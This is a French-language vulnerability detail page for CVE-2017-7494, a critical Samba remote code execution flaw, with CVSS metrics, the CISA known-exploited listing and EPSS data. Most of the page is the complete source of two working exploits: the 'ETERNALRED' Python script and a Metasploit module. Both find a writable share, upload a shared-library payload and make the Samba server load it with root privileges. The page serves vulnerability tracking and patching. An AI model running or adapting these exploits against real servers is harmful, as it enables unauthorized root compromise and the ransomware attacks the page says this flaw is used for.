CVE-2017-7494 : Détail

CVE-2017-7494

9.8
/
Critique
Code Injection
A03-Injection
94.3%V4
Network
2017-05-30
18h00 +00:00
2025-02-07
13h29 +00:00
CVE.org
NVD
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Descriptions du CVE

Samba since version 3.5.0 and before 4.6.4, 4.5.10 and 4.4.14 is vulnerable to remote code execution vulnerability, allowing a malicious client to upload a shared library to a writable share, and then cause the server to load and execute it.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-94 Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

CISA KEV (Vulnérabilités Exploitées Connues)

Nom de la vulnérabilité : Samba Remote Code Execution Vulnerability

Action requise : Apply updates per vendor instructions.

Connu pour être utilisé dans des campagnes de ransomware : Known

Ajouter le : 2023-03-29 22h00 +00:00

Action attendue : 2023-04-19 22h00 +00:00

Informations importantes
Ce CVE est identifié comme vulnérable et constitue une menace active, selon le Catalogue des Vulnérabilités Exploitées Connues (CISA KEV). La CISA a répertorié cette vulnérabilité comme étant activement exploitée par des cybercriminels, soulignant ainsi l'importance de prendre des mesures immédiates pour remédier à cette faille. Il est impératif de prioriser la mise à jour et la correction de ce CVE afin de protéger les systèmes contre les potentielles cyberattaques.

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 42060

Date de publication : 2017-05-23 22h00 +00:00
Auteur : steelo
EDB Vérifié : Yes

#!/usr/bin/env python # Title : ETERNALRED # Date: 05/24/2017 # Exploit Author: steelo <knownsteelo@gmail.com> # Vendor Homepage: https://www.samba.org # Samba 3.5.0 - 4.5.4/4.5.10/4.4.14 # CVE-2017-7494 import argparse import os.path import sys import tempfile import time from smb.SMBConnection import SMBConnection from smb import smb_structs from smb.base import _PendingRequest from smb.smb2_structs import * from smb.base import * class SharedDevice2(SharedDevice): def __init__(self, type, name, comments, path, password): super().__init__(type, name, comments) self.path = path self.password = password class SMBConnectionEx(SMBConnection): def __init__(self, username, password, my_name, remote_name, domain="", use_ntlm_v2=True, sign_options=2, is_direct_tcp=False): super().__init__(username, password, my_name, remote_name, domain, use_ntlm_v2, sign_options, is_direct_tcp) def hook_listShares(self): self._listShares = self.listSharesEx def hook_retrieveFile(self): self._retrieveFileFromOffset = self._retrieveFileFromOffset_SMB1Unix # This is maily the original listShares but request a higher level of info def listSharesEx(self, callback, errback, timeout = 30): if not self.has_authenticated: raise NotReadyError('SMB connection not authenticated') expiry_time = time.time() + timeout path = 'IPC$' messages_history = [ ] def connectSrvSvc(tid): m = SMB2Message(SMB2CreateRequest('srvsvc', file_attributes = 0, access_mask = FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | FILE_READ_EA | FILE_WRITE_EA | READ_CONTROL | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES | SYNCHRONIZE, share_access = FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, oplock = SMB2_OPLOCK_LEVEL_NONE, impersonation = SEC_IMPERSONATE, create_options = FILE_NON_DIRECTORY_FILE | FILE_OPEN_NO_RECALL, create_disp = FILE_OPEN)) m.tid = tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectSrvSvcCB, errback) messages_history.append(m) def connectSrvSvcCB(create_message, **kwargs): messages_history.append(create_message) if create_message.status == 0: call_id = self._getNextRPCCallID() # The data_bytes are binding call to Server Service RPC using DCE v1.1 RPC over SMB. See [MS-SRVS] and [C706] # If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream data_bytes = \ binascii.unhexlify(b"""05 00 0b 03 10 00 00 00 74 00 00 00""".replace(b' ', b'')) + \ struct.pack('<I', call_id) + \ binascii.unhexlify(b""" b8 10 b8 10 00 00 00 00 02 00 00 00 00 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00 2b 10 48 60 02 00 00 00 01 00 01 00 c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00 2c 1c b7 6c 12 98 40 45 03 00 00 00 00 00 00 00 01 00 00 00 """.replace(b' ', b'').replace(b'\n', b'')) m = SMB2Message(SMB2WriteRequest(create_message.payload.fid, data_bytes, 0)) m.tid = create_message.tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcBindCB, errback, fid = create_message.payload.fid) messages_history.append(m) else: errback(OperationFailure('Failed to list shares: Unable to locate Server Service RPC endpoint', messages_history)) def rpcBindCB(trans_message, **kwargs): messages_history.append(trans_message) if trans_message.status == 0: m = SMB2Message(SMB2ReadRequest(kwargs['fid'], read_len = 1024, read_offset = 0)) m.tid = trans_message.tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcReadCB, errback, fid = kwargs['fid']) messages_history.append(m) else: closeFid(trans_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to read from Server Service RPC endpoint') def rpcReadCB(read_message, **kwargs): messages_history.append(read_message) if read_message.status == 0: call_id = self._getNextRPCCallID() padding = b'' remote_name = '\\\\' + self.remote_name server_len = len(remote_name) + 1 server_bytes_len = server_len * 2 if server_len % 2 != 0: padding = b'\0\0' server_bytes_len += 2 # The data bytes are the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC. # If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream data_bytes = \ binascii.unhexlify(b"""05 00 00 03 10 00 00 00""".replace(b' ', b'')) + \ struct.pack('<HHI', 72+server_bytes_len, 0, call_id) + \ binascii.unhexlify(b"""4c 00 00 00 00 00 0f 00 00 00 02 00""".replace(b' ', b'')) + \ struct.pack('<III', server_len, 0, server_len) + \ (remote_name + '\0').encode('UTF-16LE') + padding + \ binascii.unhexlify(b""" 02 00 00 00 02 00 00 00 04 00 02 00 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 """.replace(b' ', b'').replace(b'\n', b'')) m = SMB2Message(SMB2IoctlRequest(kwargs['fid'], 0x0011C017, flags = 0x01, max_out_size = 8196, in_data = data_bytes)) m.tid = read_message.tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid']) messages_history.append(m) else: closeFid(read_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to bind to Server Service RPC endpoint') def listShareResultsCB(result_message, **kwargs): messages_history.append(result_message) if result_message.status == 0: # The payload.data_bytes will contain the results of the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC. data_bytes = result_message.payload.out_data if data_bytes[3] & 0x02 == 0: sendReadRequest(result_message.tid, kwargs['fid'], data_bytes) else: decodeResults(result_message.tid, kwargs['fid'], data_bytes) elif result_message.status == 0x0103: # STATUS_PENDING self.pending_requests[result_message.mid] = _PendingRequest(result_message.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid']) else: closeFid(result_message.tid, kwargs['fid']) errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history)) def decodeResults(tid, fid, data_bytes): shares_count = struct.unpack('<I', data_bytes[36:40])[0] results = [ ] # A list of SharedDevice2 instances offset = 36 + 52 # You need to study the byte stream to understand the meaning of these constants for i in range(0, shares_count): results.append(SharedDevice(struct.unpack('<I', data_bytes[offset+4:offset+8])[0], None, None)) offset += 12 for i in range(0, shares_count): max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12]) offset += 12 results[i].name = data_bytes[offset:offset+length*2-2].decode('UTF-16LE') if length % 2 != 0: offset += (length * 2 + 2) else: offset += (length * 2) max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12]) offset += 12 results[i].comments = data_bytes[offset:offset+length*2-2].decode('UTF-16LE') if length % 2 != 0: offset += (length * 2 + 2) else: offset += (length * 2) max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12]) offset += 12 results[i].path = data_bytes[offset:offset+length*2-2].decode('UTF-16LE') if length % 2 != 0: offset += (length * 2 + 2) else: offset += (length * 2) max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12]) offset += 12 results[i].password = data_bytes[offset:offset+length*2-2].decode('UTF-16LE') if length % 2 != 0: offset += (length * 2 + 2) else: offset += (length * 2) closeFid(tid, fid) callback(results) def sendReadRequest(tid, fid, data_bytes): read_count = min(4280, self.max_read_size) m = SMB2Message(SMB2ReadRequest(fid, 0, read_count)) m.tid = tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback, fid = fid, data_bytes = data_bytes) def readCB(read_message, **kwargs): messages_history.append(read_message) if read_message.status == 0: data_len = read_message.payload.data_length data_bytes = read_message.payload.data if data_bytes[3] & 0x02 == 0: sendReadRequest(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24]) else: decodeResults(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24]) else: closeFid(read_message.tid, kwargs['fid']) errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history)) def closeFid(tid, fid, results = None, error = None): m = SMB2Message(SMB2CloseRequest(fid)) m.tid = tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, closeCB, errback, results = results, error = error) messages_history.append(m) def closeCB(close_message, **kwargs): if kwargs['results'] is not None: callback(kwargs['results']) elif kwargs['error'] is not None: errback(OperationFailure(kwargs['error'], messages_history)) if path not in self.connected_trees: def connectCB(connect_message, **kwargs): messages_history.append(connect_message) if connect_message.status == 0: self.connected_trees[path] = connect_message.tid connectSrvSvc(connect_message.tid) else: errback(OperationFailure('Failed to list shares: Unable to connect to IPC$', messages_history)) m = SMB2Message(SMB2TreeConnectRequest(r'\\%s\%s' % ( self.remote_name.upper(), path ))) self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectCB, errback, path = path) messages_history.append(m) else: connectSrvSvc(self.connected_trees[path]) # Don't convert to Window style path def _retrieveFileFromOffset_SMB1Unix(self, service_name, path, file_obj, callback, errback, starting_offset, max_length, timeout = 30): if not self.has_authenticated: raise NotReadyError('SMB connection not authenticated') messages_history = [ ] def sendOpen(tid): m = SMBMessage(ComOpenAndxRequest(filename = path, access_mode = 0x0040, # Sharing mode: Deny nothing to others open_mode = 0x0001, # Failed if file does not exist search_attributes = SMB_FILE_ATTRIBUTE_HIDDEN | SMB_FILE_ATTRIBUTE_SYSTEM, timeout = timeout * 1000)) m.tid = tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, openCB, errback) messages_history.append(m) def openCB(open_message, **kwargs): messages_history.append(open_message) if not open_message.status.hasError: if max_length == 0: closeFid(open_message.tid, open_message.payload.fid) callback(( file_obj, open_message.payload.file_attributes, 0 )) else: sendRead(open_message.tid, open_message.payload.fid, starting_offset, open_message.payload.file_attributes, 0, max_length) else: errback(OperationFailure('Failed to retrieve %s on %s: Unable to open file' % ( path, service_name ), messages_history)) def sendRead(tid, fid, offset, file_attributes, read_len, remaining_len): read_count = self.max_raw_size - 2 m = SMBMessage(ComReadAndxRequest(fid = fid, offset = offset, max_return_bytes_count = read_count, min_return_bytes_count = min(0xFFFF, read_count))) m.tid = tid self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback, fid = fid, offset = offset, file_attributes = file_attributes, read_len = read_len, remaining_len = remaining_len) def readCB(read_message, **kwargs): # To avoid crazy memory usage when retrieving large files, we do not save every read_message in messages_history. if not read_message.status.hasError: read_len = kwargs['read_len'] remaining_len = kwargs['remaining_len'] data_len = read_message.payload.data_length if max_length > 0: if data_len > remaining_len: file_obj.write(read_message.payload.data[:remaining_len]) read_len += remaining_len remaining_len = 0 else: file_obj.write(read_message.payload.data) remaining_len -= data_len read_len += data_len else: file_obj.write(read_message.payload.data) read_len += data_len if (max_length > 0 and remaining_len <= 0) or data_len < (self.max_raw_size - 2): closeFid(read_message.tid, kwargs['fid']) callback(( file_obj, kwargs['file_attributes'], read_len )) # Note that this is a tuple of 3-elements else: sendRead(read_message.tid, kwargs['fid'], kwargs['offset']+data_len, kwargs['file_attributes'], read_len, remaining_len) else: messages_history.append(read_message) closeFid(read_message.tid, kwargs['fid']) errback(OperationFailure('Failed to retrieve %s on %s: Read failed' % ( path, service_name ), messages_history)) def closeFid(tid, fid): m = SMBMessage(ComCloseRequest(fid)) m.tid = tid self._sendSMBMessage(m) messages_history.append(m) if service_name not in self.connected_trees: def connectCB(connect_message, **kwargs): messages_history.append(connect_message) if not connect_message.status.hasError: self.connected_trees[service_name] = connect_message.tid sendOpen(connect_message.tid) else: errback(OperationFailure('Failed to retrieve %s on %s: Unable to connect to shared device' % ( path, service_name ), messages_history)) m = SMBMessage(ComTreeConnectAndxRequest(r'\\%s\%s' % ( self.remote_name.upper(), service_name ), SERVICE_ANY, '')) self._sendSMBMessage(m) self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, connectCB, errback, path = service_name) messages_history.append(m) else: sendOpen(self.connected_trees[service_name]) def get_connection(user, password, server, port, force_smb1=False): if force_smb1: smb_structs.SUPPORT_SMB2 = False conn = SMBConnectionEx(user, password, "", "server") assert conn.connect(server, port) return conn def get_share_info(conn): conn.hook_listShares() return conn.listShares() def find_writeable_share(conn, shares): print("[+] Searching for writable share") filename = "red" test_file = tempfile.TemporaryFile() for share in shares: try: # If it's not writeable this will throw conn.storeFile(share.name, filename, test_file) conn.deleteFiles(share.name, filename) print("[+] Found writeable share: " + share.name) return share except: pass return None def write_payload(conn, share, payload, payload_name): with open(payload, "rb") as fin: conn.storeFile(share.name, payload_name, fin) return True def convert_share_path(share): path = share.path[2:] path = path.replace("\\", "/") return path def load_payload(user, password, server, port, fullpath): conn = get_connection(user, password, server, port, force_smb1 = True) conn.hook_retrieveFile() print("[+] Attempting to load payload") temp_file = tempfile.TemporaryFile() try: conn.retrieveFile("IPC$", "\\\\PIPE\\" + fullpath, temp_file) except: pass return def drop_payload(user, password, server, port, payload): payload_name = "charizard" conn = get_connection(user, password, server, port) shares = get_share_info(conn) share = find_writeable_share(conn, shares) if share is None: print("[!] No writeable shares on " + server + " for user: " + user) sys.exit(-1) if not write_payload(conn, share, payload, payload_name): print("[!] Failed to write payload: " + str(payload) + " to server") sys.exit(-1) conn.close() fullpath = convert_share_path(share) return os.path.join(fullpath, payload_name) def main(): parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, description= """Eternal Red Samba Exploit -- CVE-2017-7494 Causes vulnerable Samba server to load a shared library in root context Credentials are not required if the server has a guest account For remote exploit you must have write permissions to at least one share Eternal Red will scan the Samba server for shares it can write to It will also determine the fullpath of the remote share For local exploit provide the full path to your shared library to load Your shared library should look something like this extern bool change_to_root_user(void); int samba_init_module(void) { change_to_root_user(); /* Do what thou wilt */ } """) parser.add_argument("payload", help="path to shared library to load", type=str) parser.add_argument("server", help="Server to target", type=str) parser.add_argument("-p", "--port", help="Port to use defaults to 445", type=int) parser.add_argument("-u", "--username", help="Username to connect as defaults to nobody", type=str) parser.add_argument("--password", help="Password for user default is empty", type=str) parser.add_argument("--local", help="Perform local attack. Payload should be fullpath!", type=bool) args = parser.parse_args() if not os.path.isfile(args.payload): print("[!] Unable to open: " + args.payload) sys.exit(-1) port = 445 user = "nobody" password = "" fullpath = "" if args.port: port = args.port if args.username: user = args.username if args.password: password = args.password if args.local: fullpath = args.payload else: fullpath = drop_payload(user, password, args.server, port, args.payload) load_payload(user, password, args.server, port, fullpath) if __name__ == "__main__": main()
Exploit Database EDB-ID : 42084

Date de publication : 2017-05-28 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, 'Name' => 'Samba is_known_pipename() Arbitrary Module Load', 'Description' => %q{ This module triggers an arbitrary shared library load vulnerability in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module requires valid credentials, a writeable folder in an accessible share, and knowledge of the server-side path of the writeable folder. In some cases, anonymous access combined with common filesystem locations can be used to automatically exploit this vulnerability. }, 'Author' => [ 'steelo <knownsteelo[at]gmail.com>', # Vulnerability Discovery 'hdm', # Metasploit Module 'Brendan Coles <bcoles[at]gmail.com>', # Check logic 'Tavis Ormandy <taviso[at]google.com>', # PID hunting technique ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2017-7494' ], [ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ], ], 'Payload' => { 'Space' => 9000, 'DisableNops' => true }, 'Platform' => 'linux', # # Targets are currently limited by platforms with ELF-SO payload wrappers # 'Targets' => [ [ 'Linux x86', { 'Arch' => ARCH_X86 } ], [ 'Linux x86_64', { 'Arch' => ARCH_X64 } ], # # Not ready yet # [ 'Linux ARM (LE)', { 'Arch' => ARCH_ARMLE } ], # [ 'Linux MIPS', { 'Arch' => MIPS } ], ], 'Privileged' => true, 'DisclosureDate' => 'Mar 24 2017', 'DefaultTarget' => 1)) register_options( [ OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']), OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']), OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']), ]) register_advanced_options( [ OptBool.new('BruteforcePID', [false, 'Attempt to use two connections to bruteforce the PID working directory', false]), ]) end def generate_common_locations candidates = [] if datastore['SMB_SHARE_BASE'].to_s.length > 0 candidates << datastore['SMB_SHARE_BASE'] end %W{ /volume1 /volume2 /volume3 /volume4 /shared /mnt /mnt/usb /media /mnt/media /var/samba /tmp /home /home/shared }.each do |base_name| candidates << base_name candidates << [base_name, @share] candidates << [base_name, @share.downcase] candidates << [base_name, @share.upcase] candidates << [base_name, @share.capitalize] candidates << [base_name, @share.gsub(" ", "_")] end candidates.uniq end def enumerate_directories(share) begin self.simple.connect("\\\\#{rhost}\\#{share}") stuff = self.simple.client.find_first("\\*") directories = [""] stuff.each_pair do |entry,entry_attr| next if %W{. ..}.include?(entry) next unless entry_attr['type'] == 'D' directories << entry end return directories rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e vprint_error("Enum #{share}: #{e}") return nil ensure if self.simple.shares["\\\\#{rhost}\\#{share}"] self.simple.disconnect("\\\\#{rhost}\\#{share}") end end end def verify_writeable_directory(share, directory="") begin self.simple.connect("\\\\#{rhost}\\#{share}") random_filename = Rex::Text.rand_text_alpha(5)+".txt" filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}" wfd = simple.open(filename, 'rwct') wfd << Rex::Text.rand_text_alpha(8) wfd.close simple.delete(filename) return true rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e vprint_error("Write #{share}#{filename}: #{e}") return false ensure if self.simple.shares["\\\\#{rhost}\\#{share}"] self.simple.disconnect("\\\\#{rhost}\\#{share}") end end end def share_type(val) [ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val] end def enumerate_shares_lanman shares = [] begin res = self.simple.client.trans( "\\PIPE\\LANMAN", ( [0x00].pack('v') + "WrLeh\x00" + "B13BWz\x00" + [0x01, 65406].pack("vv") )) rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e vprint_error("Could not enumerate shares via LANMAN") return [] end if res.nil? vprint_error("Could not enumerate shares via LANMAN") return [] end lerror, lconv, lentries, lcount = res['Payload'].to_s[ res['Payload'].v['ParamOffset'], res['Payload'].v['ParamCount'] ].unpack("v4") data = res['Payload'].to_s[ res['Payload'].v['DataOffset'], res['Payload'].v['DataCount'] ] 0.upto(lentries - 1) do |i| sname,tmp = data[(i * 20) + 0, 14].split("\x00") stype = data[(i * 20) + 14, 2].unpack('v')[0] scoff = data[(i * 20) + 16, 2].unpack('v')[0] scoff -= lconv if lconv != 0 scomm,tmp = data[scoff, data.length - scoff].split("\x00") shares << [ sname, share_type(stype), scomm] end shares end def probe_module_path(path, simple_client=self.simple) begin simple_client.create_pipe(path) rescue Rex::Proto::SMB::Exceptions::ErrorCode => e vprint_error("Probe: #{path}: #{e}") end end def find_writeable_path(share) subdirs = enumerate_directories(share) return unless subdirs if datastore['SMB_FOLDER'].to_s.length > 0 subdirs.unshift(datastore['SMB_FOLDER']) end subdirs.each do |subdir| next unless verify_writeable_directory(share, subdir) return subdir end nil end def find_writeable_share_path @path = nil share_info = enumerate_shares_lanman if datastore['SMB_SHARE_NAME'].to_s.length > 0 share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', ''] end share_info.each do |share| next if share.first.upcase == 'IPC$' found = find_writeable_path(share.first) next unless found @share = share.first @path = found break end end def find_writeable find_writeable_share_path unless @share && @path print_error("No suiteable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER") fail_with(Failure::NoTarget, "No matching target") end print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path") end def upload_payload begin self.simple.connect("\\\\#{rhost}\\#{@share}") random_filename = Rex::Text.rand_text_alpha(8)+".so" filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}" wfd = simple.open(filename, 'rwct') wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform} ) wfd.close @payload_name = random_filename return true rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e print_error("Write #{@share}#{filename}: #{e}") return false ensure if self.simple.shares["\\\\#{rhost}\\#{@share}"] self.simple.disconnect("\\\\#{rhost}\\#{@share}") end end end def find_payload # Reconnect to IPC$ simple.connect("\\\\#{rhost}\\IPC$") # Look for common paths first, since they can be a lot quicker than hunting PIDs print_status("Hunting for payload using common path names: #{@payload_name} - //#{rhost}/#{@share}/#{@path}") generate_common_locations.each do |location| target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/') print_status("Trying location #{target}...") probe_module_path(target) end # Exit early if we already have a session return if session_created? return unless datastore['BruteforcePID'] # XXX: This technique doesn't seem to work in practice, as both processes have setuid()d # to non-root, but their /proc/pid directories are still owned by root. Trying to # read the /proc/other-pid/cwd/target.so results in permission denied. There is a # good chance that this still works on some embedded systems and odd-ball Linux. # Use the PID hunting strategy devised by Tavis Ormandy print_status("Hunting for payload using PID search: #{@payload_name} - //#{rhost}/#{@share}/#{@path} (UNLIKELY TO WORK!)") # Configure the main connection to have a working directory of the file share simple.connect("\\\\#{rhost}\\#{@share}") # Use a second connection to brute force the PID of the first connection probe_conn = connect(false) smb_login(probe_conn) probe_conn.connect("\\\\#{rhost}\\#{@share}") probe_conn.connect("\\\\#{rhost}\\IPC$") # Run from 2 to MAX_PID (ushort) trying to read the other process CWD 2.upto(32768) do |pid| # Look for the PID associated with our main SMB connection target = ["/proc/#{pid}/cwd", @path, @payload_name].join("/").gsub(/\/+/, '/') vprint_status("Trying PID with target path #{target}...") probe_module_path(target, probe_conn) # Keep our main connection alive if pid % 1000 == 0 self.simple.client.find_first("\\*") end end end def check res = smb_fingerprint unless res['native_lm'] =~ /Samba ([\d\.]+)/ print_error("does not appear to be Samba: #{res['os']} / #{res['native_lm']}") return CheckCode::Safe end samba_version = Gem::Version.new($1.gsub(/\.$/, '')) vprint_status("Samba version identified as #{samba_version.to_s}") if samba_version < Gem::Version.new('3.5.0') return CheckCode::Safe end # Patched in 4.4.14 if samba_version < Gem::Version.new('4.5.0') && samba_version >= Gem::Version.new('4.4.14') return CheckCode::Safe end # Patched in 4.5.10 if samba_version > Gem::Version.new('4.5.0') && samba_version < Gem::Version.new('4.6.0') && samba_version >= Gem::Version.new('4.5.10') return CheckCode::Safe end # Patched in 4.6.4 if samba_version >= Gem::Version.new('4.6.4') return CheckCode::Safe end connect smb_login find_writeable_share_path disconnect if @share.to_s.length == 0 print_status("Samba version #{samba_version.to_s} found, but no writeable share has been identified") return CheckCode::Detected end print_good("Samba version #{samba_version.to_s} found with writeable share '#{@share}'") return CheckCode::Appears end def exploit # Setup SMB connect smb_login # Find a writeable share find_writeable # Upload the shared library payload upload_payload # Find and execute the payload from the share begin find_payload rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply end # Cleanup the payload begin simple.connect("\\\\#{rhost}\\#{@share}") uploaded_path = @path.length == 0 ? "\\#{@payload_name}" : "\\#{@path}\\#{@payload_name}" simple.delete(uploaded_path) rescue Rex::StreamClosedError, Rex::Proto::SMB::Exceptions::NoReply end # Shutdown disconnect end end

Products Mentioned

Configuraton 0

Samba>>Samba >> Version From (including) 3.5.0 To (excluding) 4.4.0

Samba>>Samba >> Version From (including) 4.4.0 To (excluding) 4.4.14

Samba>>Samba >> Version From (including) 4.5.0 To (excluding) 4.5.10

Samba>>Samba >> Version From (including) 4.6.0 To (excluding) 4.6.4

Configuraton 0

Debian>>Debian_linux >> Version 8.0

Références

http://www.securityfocus.com/bid/98636
Tags : vdb-entry, x_refsource_BID
http://www.debian.org/security/2017/dsa-3860
Tags : vendor-advisory, x_refsource_DEBIAN
https://www.exploit-db.com/exploits/42084/
Tags : exploit, x_refsource_EXPLOIT-DB
https://access.redhat.com/errata/RHSA-2017:1270
Tags : vendor-advisory, x_refsource_REDHAT
https://access.redhat.com/errata/RHSA-2017:1390
